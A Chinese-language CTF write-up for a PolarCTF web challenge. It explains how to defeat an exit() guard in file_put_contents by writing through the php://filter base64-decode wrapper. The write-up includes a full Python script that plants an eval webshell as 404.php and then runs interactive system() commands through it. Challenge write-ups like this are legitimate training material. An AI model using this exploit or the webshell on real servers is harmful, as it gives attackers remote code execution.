Polar Web【中等】写shell
Contents
思路&探索
初看题目,预测需要对站点写入木马,具体操作需要在过程中逐步实现。
- 打开站点(见下图),出现
file_put_contents
函数,其中接收GET
参数filename
- 同时发现存在半封闭形式的PHP代码
exit()
会导致直接退出程序,其后又连接一个POST
参数content
,符合死亡绕过的特征,因此考虑使用php://
伪协议中的base64解码器来写入木马- 本文采用脚本方式实现木马的绕过、写入以及Webshell的交互逻辑
EXP
from requests import post, get
import base64
def attack(url, cmd):
data = {
'cmd': cmd
}
resp = post(url, data).text
if resp:
print(resp)
else:
print("Nothing...")
def insert_shell(url):
sh = '<?php @eval($_POST["cmd"]);?>'
sh = '0' + base64.b64encode(sh.encode()).decode() # base64加密结果前需要引入编码范围内的任意字符,
data = {
'content': sh,
}
url_ = url + '?filename=php://filter/convert.base64-decode/resource=404.php' # 文件名自定义
_ = post(url=url_, data=data)
print(url + '404.php')
if get(url + '404.php').content:
return 1
else:
return 0
if __name__ == '__main__':
u = 'http://~.www.polarctf.com:8090/'
if insert_shell(u):
print(">> Insert success!\n")
u += '404.php'
while True:
command = input(">> ")
if command == 'quit':
break
command = 'system("' + command + '");'
attack(url=u, cmd=command)
else:
print("Insert Fail..")
运行&总结
- 注意首页PHP代码中半封闭的那部分代码,需要在
base64
编码结果前插入hex
范围内的任一字符,或者直接采用人为封闭并另起PHP代码块的方式,而本文采用的是前者。 - 本文也随即演示了
base64
编码在Python中的实现方式。